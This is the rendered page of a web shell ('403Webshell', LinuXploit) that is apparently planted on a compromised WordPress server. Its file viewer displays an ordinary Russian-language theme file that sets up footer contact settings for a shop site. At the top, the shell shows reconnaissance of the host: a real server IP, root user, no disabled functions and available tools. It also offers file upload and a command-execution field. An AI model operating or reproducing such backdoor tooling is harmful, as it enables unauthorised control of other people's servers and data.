403Webshell
Server IP : 104.171.130.249  /  Your IP : 216.73.216.146
Web Server : nginx/1.25.5
System : Linux 0dac65491b7e 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/html/wp-content/themes/matreshka/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wp-content/themes/matreshka/inc/theme-options.php
<?php
/**
 * Настройки темы: страница опций и поля футера
 */

// Создаём страницу настроек футера через ACF Options Page
add_action( 'acf/init', function() {
    if ( function_exists( 'acf_add_options_page' ) ) {
        acf_add_options_page(array(
            'page_title' => 'Настройки футера',
            'menu_title' => 'Футер',
            'menu_slug'  => 'matreshka-footer-settings',
            'capability' => 'manage_options',
            'redirect'   => false,
            'position'   => 61,
            'icon_url'   => 'dashicons-admin-site',
        ));
    }
});

// Регистрируем поля футера (если ACF активен)
add_action( 'acf/init', function() {
    if ( function_exists( 'acf_add_local_field_group' ) ) {
        acf_add_local_field_group(array(
            'key' => 'group_matreshka_footer',
            'title' => 'Настройки футера',
            'fields' => array(
                array(
                    'key' => 'field_footer_logo',
                    'label' => 'Логотип (белый)',
                    'name' => 'footer_logo',
                    'type' => 'image',
                    'return_format' => 'url',
                    'preview_size' => 'medium',
                    'library' => 'all',
                ),
                array(
                    'key' => 'field_footer_phone_1',
                    'label' => 'Телефон 1',
                    'name' => 'footer_phone_1',
                    'type' => 'text',
                    'placeholder' => '+7 (959) 189-75-72',
                ),
                array(
                    'key' => 'field_footer_phone_2',
                    'label' => 'Телефон 2',
                    'name' => 'footer_phone_2',
                    'type' => 'text',
                    'placeholder' => '+7 (959) 199-57-90',
                ),
                array(
                    'key' => 'field_footer_vk',
                    'label' => 'Ссылка VK',
                    'name' => 'footer_vk',
                    'type' => 'url',
                ),
                array(
                    'key' => 'field_footer_instagram',
                    'label' => 'Ссылка Instagram',
                    'name' => 'footer_instagram',
                    'type' => 'url',
                ),
                array(
                    'key' => 'field_footer_telegram',
                    'label' => 'Ссылка Telegram',
                    'name' => 'footer_telegram',
                    'type' => 'url',
                ),
                array(
                    'key' => 'field_footer_hours',
                    'label' => 'График работы',
                    'name' => 'footer_hours',
                    'type' => 'textarea',
                    'placeholder' => "Пн-Пт: с 8.00 до 22.00\nСб-Вс: с 8.00 до 22.00",
                    'rows' => 2,
                ),
                array(
                    'key' => 'field_footer_email',
                    'label' => 'Email',
                    'name' => 'footer_email',
                    'type' => 'email',
                    'placeholder' => 'matreshkashoplug@gmail.com',
                ),
                array(
                    'key' => 'field_footer_contact_info_url',
                    'label' => 'Ссылка на контактную информацию',
                    'name' => 'footer_contact_info_url',
                    'type' => 'url',
                ),
            ),
            'location' => array(
                array(
                    array(
                        'param' => 'options_page',
                        'operator' => '==',
                        'value' => 'matreshka-footer-settings',
                    ),
                ),
            ),
        ));
    }
});

/**
 * Fallback: собственная страница настроек футера без ACF
 * Если ACF недоступен, добавляем меню "Футер" и сохраняем опции через Settings API
 */
if ( ! function_exists( 'acf_add_options_page' ) ) {
    add_action( 'admin_menu', function() {
        add_menu_page(
            'Настройки футера',
            'Футер',
            'manage_options',
            'matreshka-footer-settings-native',
            'matreshka_render_footer_settings_page',
            'dashicons-admin-site',
            61
        );
    });

    add_action( 'admin_init', function() {
        // Регистрируем настройки
        register_setting( 'matreshka_footer_group', 'matreshka_footer_logo_url', array( 'type' => 'string', 'sanitize_callback' => 'esc_url_raw' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_phone_1', array( 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_phone_2', array( 'type' => 'string', 'sanitize_callback' => 'sanitize_text_field' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_vk', array( 'type' => 'string', 'sanitize_callback' => 'esc_url_raw' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_instagram', array( 'type' => 'string', 'sanitize_callback' => 'esc_url_raw' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_telegram', array( 'type' => 'string', 'sanitize_callback' => 'esc_url_raw' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_hours', array( 'type' => 'string', 'sanitize_callback' => 'sanitize_textarea_field' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_email', array( 'type' => 'string', 'sanitize_callback' => 'sanitize_email' ) );
        register_setting( 'matreshka_footer_group', 'matreshka_footer_contact_info_url', array( 'type' => 'string', 'sanitize_callback' => 'esc_url_raw' ) );
    });

    function matreshka_render_footer_settings_page() {
        ?>
        <div class="wrap">
            <h1>Настройки футера</h1>
            <form method="post" action="options.php">
                <?php settings_fields( 'matreshka_footer_group' ); ?>
                <table class="form-table" role="presentation">
                    <tbody>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_logo_url">Логотип (URL)</label></th>
                            <td><input type="url" id="matreshka_footer_logo_url" name="matreshka_footer_logo_url" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_logo_url') ); ?>" placeholder="https://.../logo-white.png"></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_phone_1">Телефон 1</label></th>
                            <td><input type="text" id="matreshka_footer_phone_1" name="matreshka_footer_phone_1" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_phone_1') ); ?>" placeholder="+7 (959) 189-75-72"></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_phone_2">Телефон 2</label></th>
                            <td><input type="text" id="matreshka_footer_phone_2" name="matreshka_footer_phone_2" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_phone_2') ); ?>" placeholder="+7 (959) 199-57-90"></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_vk">VK</label></th>
                            <td><input type="url" id="matreshka_footer_vk" name="matreshka_footer_vk" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_vk') ); ?>" placeholder="https://vk.com/...">
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_instagram">Instagram</label></th>
                            <td><input type="url" id="matreshka_footer_instagram" name="matreshka_footer_instagram" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_instagram') ); ?>" placeholder="https://instagram.com/...">
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_telegram">Telegram</label></th>
                            <td><input type="url" id="matreshka_footer_telegram" name="matreshka_footer_telegram" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_telegram') ); ?>" placeholder="https://t.me/...">
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_hours">График работы</label></th>
                            <td><textarea id="matreshka_footer_hours" name="matreshka_footer_hours" rows="3" class="large-text" placeholder="Пн-Пт: с 8.00 до 22.00&#10;Сб-Вс: с 8.00 до 22.00"><?php echo esc_textarea( get_option('matreshka_footer_hours') ); ?></textarea></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_email">Email</label></th>
                            <td><input type="email" id="matreshka_footer_email" name="matreshka_footer_email" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_email') ); ?>" placeholder="matreshkashoplug@gmail.com"></td>
                        </tr>
                        <tr>
                            <th scope="row"><label for="matreshka_footer_contact_info_url">Ссылка на контактную информацию</label></th>
                            <td><input type="url" id="matreshka_footer_contact_info_url" name="matreshka_footer_contact_info_url" class="regular-text" value="<?php echo esc_attr( get_option('matreshka_footer_contact_info_url') ); ?>" placeholder="https://.../contacts"></td>
                        </tr>
                    </tbody>
                </table>
                <?php submit_button(); ?>
            </form>
        </div>
        <?php
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit